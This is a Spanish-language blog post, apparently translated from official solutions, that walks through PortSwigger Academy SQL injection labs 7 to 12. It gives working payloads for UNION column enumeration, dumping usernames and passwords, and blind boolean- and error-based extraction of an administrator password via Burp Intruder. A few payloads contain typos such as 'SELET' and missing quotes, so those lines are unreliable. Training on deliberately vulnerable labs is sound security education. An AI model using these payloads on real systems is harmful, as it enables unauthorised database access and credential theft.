🧫 Laboratorios de Inyección SQL (2ª parte)

Continuamos con los laboratorios de Inyección SQL de Portswigger Academy. En este post cubriré desde el laboratorio número 7 al 12, que son los seis siguientes a los que publiqué anteriormente, por lo que sólo quedará una tercera parte con los seis últimos.

Como siempre, cualquier duda, no tengáis reparos en preguntarme por aquí o por redes sociales. Estaré encantado de atenderos.

Laboratorio 7: Ataque UNION de SQLi determinando el número de columnas devueltas por la consulta

Este laboratorio contiene una vulnerabilidad inyección SQL en el filtro de categoría de producto. El resultado de la consulta se devuelve en la respuesta de la aplicación, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. El primer paso de este tipo de ataque es determinar el número de columnas que se devuelven por parte de la consulta. Después habrás de usar esta técnica en otros laboratorios para construir el ataque completo.

Para resolver el laboratorio, determina el número de columnas devueltas por la consulta realizando un ataque UNION de SQLi que devuelve una fila adicional con valores nulos.

Solución:

Usa BurpSuite para interceptar y modificar la petición que fija el filtro de categoría de producto.

Modifica el parámetro category, dándole el valor '+UNION+SELECT+NULL--. Observa que aparece un error.

Modifica el parámetro category para agregar una columna adicional con un valor nulo:

'+UNION+SELECT+NULL,NULL--

Continúa añadiendo valores nulos hasta que el error desaparezca y la respuesta incluya contenido adicional que contenga los valores nulos.

Laboratorio 8: Ataque UNION de SQLi encontrando una columna que contenga texto

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categoría de producto. El resultado de la consulta se devuelve en la respuesta de la aplicación, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. Para construir dicho ataque, primero necesitas determinar el número de columnas devueltas por la consulta. Puedes hacerlo usando una técnica que ya has aprendido. El siguiente paso es identificar una columna que sea compatible con el tipo de datos de texto.

El laboratorio proporciona un valor aleatorio que necesitas hacer aparecer dentro del resultado de la consulta. Para resolverlo, realiza un ataque UNION de inyección SQL que devuelva una fila adicional conteniendo el valor proporcionado. Esta técnica te ayuda a determinar qué columnas son compatibles con el tipo de datos texto.

Solución:

Usa BurpSuite para interceptar y modificar la petición que fija el filtro de categoría de producto.

Determina el número de columnas que se devuelven por la consulta. Verifica que la consulta devuelve tres columnas, usando el siguiente payload en el parámetro category:

'+UNION+SELECT+NULL,NULL,NULL--

Prueba a reemplazar cada null con el valor aleatorio proporcionado por el laboratorio, por ejemplo:

'+UNION+SELECT+'abcdef', NULL, NULL--

Si hay un error, pasa al siguiente null y prueba de nuevo con él.

Laboratorio 9: Ataque UNION de inyección SQL, recuperando datos de otras tablas.

Este laboratorio contiene una vulnerabilidad SQL Injection en el filtro de categoría de producto. El resultado de la consulta se devuelve en la respuesta de la aplicación, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas. Para construir dicho ataque, necesitas combinar algunas de las técnicas vistas en anteriores laboratorios.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.

Para resolver el laboratorio, realiza un ataque UNION de inyección SQL que devuelva todos los nombres de usuario y contraseñas, y usa la información obtenida para hacer login como el usuario administrator.

Solución:

Usa BurpSuite para interceptar y modificar la petición que fija el filtro de categoría de producto.

Determina el número de columnas que se devuelven por parte de la consulta y qué columnas contienen datos de texto. Verifica que la consulta devuelve dos columnas, las cuales contienen texto, usando un payload como el siguiente en el parámetro category:

'+UNION+SELECT+'abc','def'--

Usa el siguiente payload para recuperar el contenido de la tabla users:

'+UNION+SELECT+username,+password+FROM+users--

Verifica que la respuesta de la aplicación contiene los nombres de usuario y contraseñas.

Laboratorio 10: Ataque UNION de SQLi recuperando múltiples valores en una sola columna

Este laboratorio contiene una vulnerabilidad inyección SQL en el filtro de categoría de producto. El resultado de la consulta se devuelve en la respuesta de la aplicación por lo que puedes usar un ataque UNION para recuperar datos de otras tablas.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.

Para resolver el laboratorio, realiza un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y usa la información para hacer login como el usuario administrator.

Solución:

Usa BurpSuite para interceptar y modificar la petición que fija el filtro de categoría de producto.

Determina el número de columnas que se devuelven por parte de la consulta y qué columnas contienen texto. Verifica que la consulta devuelve dos columnas, sólo una de las cuales contiene texto, usando un payload como el siguiente en el parámetro category:

'+UNION+SELECT+NULL,'abc'--

Usa el siguiente payload para recuperar el contenido de la tabla users:

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Verifica que la respuesta de la aplicación contiene los nombres de usuario y contraseñas.

Laboratorio 11: Inyección SQL ciega con respuestas condicionales

Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.

El resultado de la consulta SQL no se devuelve, y no se muestran mensajes de error. Pero la aplicación incluye un mensaje “Welcome back” en la página si la consulta devuelve alguna fila.

La base de datos contiene una tabla distintas llamada users, con columnas llamadas username y password. Necesitas explotar la vulnerabilidad inyección SQL ciega para encontrar la contraseñas del usuario administrator.

Para resolverlo, haz login como el usuario administrator.

Pista:

Puedes asumir que la contraseña sólo contiene caracteres alfanuméricos en minúsculas.

Solución:

Visita la página de la tienda, y usa BurpSuite para interceptar y modificar la petición que contiene la cookie TrackingId. Para simplificar, digamos que el valor original de la cookie es

TrackingId=xyz.

Modifica la cookie TrackingId, cambiándola a:

TrackingId=xyz' AND '1'='1

Verifica que el mensaje “Welcome back” aparece en la respuesta.

Ahora cámbialo a:

TrackingId=xyz' AND '1'='2

Verifica que el mensaje “Welcome back” no aparece en la respuesta. Esto demuestra cómo puedes probar una condición booleana simple e inferir en el resultado.

Ahora cámbialo a:

TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

Verifica que la condición es cierta, confirmando que existe una tabla users.

Cámbialo ahora a:

TrackingID=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Verifica que la condición es cierta, lo que confirma que hay un usuario administrator.

Ahora vamos a determinar cuántos caracteres hay en la contraseña del usuario administrator. Para hacerlo, cambia el valor a:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Esta condición debería ser cierta, lo que confirmaría que la contraseña tiene una longitud superior a un carácter.

Envía una serie de valores de seguimiento para probar distintas longitudes para la contraseña:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)=’a

Después envía:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a

Y así continuamente. Puedes hacerlo manualmente usando Burp Repeater, ya que la longitud será corta. Cuando la condición deje de ser cierta (cuando el mensaje “Welcome back” desaparezca), habrás determinado la longitud de la contraseña, la cual, de hecho, es de 20 caracteres.

Después de determinar la longitud de la contraseña, el siguiente paso es probar el carácter para cada posición y determinar su valor. Esto implica una cantidad de peticiones enorme, por lo que puedes usar Burp Intruder. Envía la petición con la que estás trabajando a Burp Intruder, usando el menú contextual (botón derecho sobre la petición y clic sobre Send to Intruder).

En la pestaña Positions de Burp Intruder, cambia el valor de la cookie a:

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Aquí se utiliza la función SUBSTRING() para extraer un solo carácter de la contraseña, y probarlo frente a un valor específico. Nuestro ataque iterará por cada posición y valor posible, probando cada uno por turnos.

Ubica marcadores de posición para el payload alrededor del carácter a final en el valor de la cookie. Para ello, selecciona la a y haz clic en el botón “Add §”. Deberías ver el siguiente valor en la cookie (fíjate en los marcadores de posición del payload):

TrackingID=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§

Para probar cada carácter en cada posición, necesitas enviar payloads adecuados en la posición de payload que has definido. Puedes asumir que la contraseña sólo contiene caracteres alfanuméricos en minúsculas. Ve a la pestaña de Payloads, comprueba que “Simple list” está seleccionado y bajo Payload settings añade los payloads en los rangos a – z y 0 – 9. Puedes seleccionarlos fácilmente usando el desplegable “Add from list”.

Para poder decir cuándo el carácter correcto ha sido enviado, necesitarás filtrar cada respuesta para la expresión “Welcome back”. Para ello, ve a la pestaña Settings y a la sección “Grep – Match”. Limpia las entradas existentes en la lista, y añade el valor “Welcome back”.

Lanza el ataque clicando sobre “Start attack” o seleccionando “Start attack” en el menú de Intruder.

Revisa los resultados del ataque para encontrar el valor del carácter en primera posición. Deberías ver una columna en los resultados llamada “Welcome back”. Una de las filas debería tener un tick en esta columna. El payload de esa fila es el valor del carácter en primera posición.

Ahora, simplemente necesitas relanzar el ataque para cada una de las otras posiciones de la contraseña, para determinar sus valores. Para ello, vuelve a la ventana principal de Burp, y en la pestaña Positions de Intruder cambia el desplazamiento especificado de 1 a 2. Deberías ver un valor de cookie como:

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='§a§

Lanza el ataque modificado, revisa los resultados y anota el carácter en la segunda posición.

Continúa el proceso probando las posiciones 3, 4 y siguientes, hasta que tengas la contraseña completa.

En el navegador, haz clic en “My account” para abrir la página de login. Usa la contraseña para hacer login como el usuario administrator.

Nota:

Para usuarios avanzados, la solución descrita aquí puede ser más elegante. Por ejemplo, en lugar de iterar sobre cada carácter, podrías realizar una búsqueda binaria del espacio del carácter. O podrías crear un ataque simple con Intruder con dos posiciones de payload y el tipo de ataque “Cluster bomb”, y trabajar con todas las permutaciones de posiciones y valores de caracteres.

Laboratorio 12: SQLi ciega con errores condicionales

Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.

El resultado de la consulta SQL no se devuelve, y la aplicación no responde de forma distinta dependiendo de si la consulta devuelve alguna fila. Si la consulta SQL causa un error, entonces la aplicación devuelve un mensaje de error personalizado.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Necesitas explotar la vulnerabilidad de SQLi ciega para encontrar la contraseña del usuario administrator.

Para resolver el laboratorio, haz login como el usuario administrator.

Pista:

Este laboratorio usa una base de datos Oracle.

Solución:

Visita la página de la tienda y usa BurpSuite para interceptar y modificar la petición que contiene la cookie TrakingId. Para simplificar, digamos que el valor original de la cookie es TrackingId=xyz.

Modifica la cookie TrackingId, añadiendo una comilla simple al final:

TrackingId=xyz

Verifica que se recibe un mensaje de error.

Ahora cámbialo a dos comillas simples:

TrackingId=xyz''

Verifica que el error desaparece. Esto sugiere que un error de sintaxis (en este caso, la comilla sin cerrar) causa un efecto detectable en la respuesta.

Ahora necesitas confirmar que el servidor está interpretando la inyección como una consulta SQL, que el error es un error de sintaxis SQL y no otro tipo de error. Para hacerlo, lo primero es construir una subconsulta usando sintaxis SQL válida. Prueba enviando:

TrackingId=xyz'||(SELECT '')||'

En este caso, fíjate que la consulta sigue apareciendo como no válida. Esto puede deberse al tipo de base de datos. Prueba especificando un nombre de tabla predecible en la consulta:

TrackingId=xyz'||(SELECT '' FROM dual)||'

Como ya no recibes el error, eso indica que el objetivo probablemente esté usando una base de datos Oracle, lo que requiere que la sentencia SELECT especifique explícitamente un nombre de tabla.

Ahora que has creado lo que parece ser una consulta válida, prueba a enviar una consulta no válida manteniendo la sintaxis de SQL válida. Por ejemplo, consultando una tabla no existente:

TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||

Esta vez se devuelve un error. Este comportamiento sugiere que tu inyección está siendo procesada como una consulta SQL en el back-end.

Ahora que estás seguro de inyectar siempre consultas SQL sintácticamente válidas, puedes usar esta respuesta de error para inferir información clave acerca de la base de datos. Por ejemplo, para verificar que existe la tabla users, envía la siguiente consulta:

TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

Como esta consulta no devuelve un error, podemos deducir que esta tabla existe. Fíjate que la condición WHERE ROWNUM = 1 es importante para prevenir que la consulta devuelva más de una fila, lo que rompería nuestra concatenación.

También puedes explotar este comportamiento para probar condiciones. Primero, envía la siguiente consulta:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Verifica que se recibe un mensaje de error.

Ahora cámbialo a:

TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Verifica que el error desaparece. Esto demuestra que puedes activar un error condicionalmente según la veracidad de una condición específica. La sentencia CASE prueba una condición y evalúa a una expresión si la condición es cierta y a otra expresión si dicha condición es falsa. La expresión contiene un dividido por cero, lo que provoca un error. En este caso, los dos payloads prueban las condiciones 1=1 y 1=2, y se recibe un error cuando la condición es true.

Puedes usar este comportamiento para probar si existen entradas específicas en una tabla. Por ejemplo, usa la siguiente consulta para comprobar si el nombre administrator existe:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Verifica que la condición es cierta (se recibe el error), confirmando que existe un usuario llamado administrator.

El siguiente paso es determinar cuántos caracteres hay en la contraseña del usuario administrator. Para ello, cambia el valor a:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Esta condición debería ser cierta, confirmando que la contraseña tiene más de un carácter.

Envía una serie de valores de seguimiento para probar distintas longitudes de contraseña. Envía:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Y después:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Sigue con ello. Puedes hacerlo manualmente usando Burp Repeater, ya que la longitud no será demasiado larga. Cuando la condición deje de ser cierta (cuando el error desaparezca), habrás determinado la longitud de la contraseña, la cual, de hecho, es de 20 caracteres.

Después de determinar la longitud, el siguiente paso es probar caracteres para cada posición de cara a determinar su valor. Esto implica un número de peticiones mucho más grande, por lo que necesitarás usar Burp Intruder. Envía la petición con la que estás trabajando a Burp Intruder, usando el menú contextual.

En la pestaña Positions de Burp Intruder, cambia el valor de la cookie a:

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Esto hace uso de la función SUBSTR() para extraer un carácter de la contraseña y probarlo frente a un valor específico. Nuestro ataque iterará por cada posición y valor posible, probando cada uno por turnos.

Sitúa una posición de payload alrededor de la última a del valor de la cookie. Para ello, simplemente selecciona la a y haz clic en el botón “Add §”. Deberías ver el siguiente valor en la cookie (fíjate en los marcadores de posición):

TrackingId=xyz'||(SELET CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Para probar el carácter en cada posición, necesitarás enviar los payloads adecuados en la posición del payload que has definido. Puedes asumir que la contraseña contiene sólo caracteres alfanuméricos en minúsculas. Ve a la pestaña Payloads, comprueba que “Simple list” está seleccionado y bajo “Payload settings” añade los payloads en los rangos a – z y 0 – 9. Puedes seleccionarlos fácilmente usando el desplegable “Add from list”.

Lanza el ataque haciendo clic en el botón “Start attack” o seleccionando “Start attack” en el menú de Intruder.

Revisa los resultados del ataque para encontrar el valor del carácter en la primera posición. La aplicación devuelve un código de estado HTTP 500 cuando el error tiene lugar, y un código HTTP 200 normalmente. La columna “Status” en los resultados de Intruder muestra el código de estado HTTP, por lo que fácilmente encontrarás la fila con valor 500 en esta columna. El payload que se muestre en esa fila es el valor del carácter en la primera posición.

Ahora, simplemente, has de repetir el ataque para cada una de las otras posiciones de la contraseña, para determinar sus valores. Para ello, ve atrás a la ventana principal de Burp, y en la pestaña Positions de Intruder, cambia la posición de 1 a 2. Deberías ver el siguiente valor de la cookie:

TrackingId=xyz'||(SELET CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Lanza el ataque modificado, revisa los resultados, y apunta el carácter en la segunda posición.

Continúa el proceso probando todas las posiciones hasta que tengas la contraseña completa.

En el navegador, haz clic en “My account” para abrir la página de login. Usa la contraseña para hacer login como usuario administrator.


Y hasta aquí hemos llegado por hoy. Próximamente, como ya he dicho, publicaré los seis últimos laboratorios de Inyección SQL, para después comenzar con Cross-Site Scripting. Espero que esto os sea de mucha utilidad.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Ads Blocker Image Powered by Code Help Pro

¡¡¡Ads Blocker Detectado!!!

Hemos detectado que usas extensiones para bloquear anuncios. Por favor, si te interesa el contenido, no bloquees los anuncios, que son lo que nos ayuda a poder publicar más contenido como este 😊